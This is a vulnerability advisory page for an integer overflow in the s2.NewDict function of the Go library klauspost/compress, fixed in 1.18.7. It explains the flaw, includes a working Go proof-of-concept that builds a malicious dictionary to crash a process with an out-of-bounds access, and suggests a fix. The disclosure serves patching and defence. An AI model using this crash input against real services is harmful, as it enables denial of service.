All vulnerabilities
CVE-2026-63209GHSA-259r-337f-4rfwGO-2026-5841

github.com/klauspost/compress: Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

klauspost github.com/klauspost/compressgoLibraries & packages
CVSS
7.5High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)0.36%Chance of exploitation activity in the next 30 days, higher than 29% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in1.18.7Fixed versionGitHub
Published29 Sep 2026Updated 20 Oct 2026CVE List

What fixes it

  • 1.18.7github.com/klauspost/compress, goGitHubgo get github.com/klauspost/compress@v1.18.7
  • 1.18.7github.com/klauspost/compress, GoOSVgo get github.com/klauspost/compress@v1.18.7

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

  • Name: github.com/klauspost/compress/s2
  • Ecosystem: Go
  • Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

  • CWE-190: Integer Overflow or Wraparound
  • CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

  • Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that:

  1. Accepts user-supplied S2 dictionary data via s2.NewDict()
  2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

  • Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
  • Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Text from GitHub Advisory Database

Affected versions 3

  • github.com/klauspost/compress, go<= 1.18.6GitHub
  • compressaffected: < 1.18.7CVE List
  • github.com/klauspost/compress, Gofrom first release, fixed in 1.18.7OSV

References 7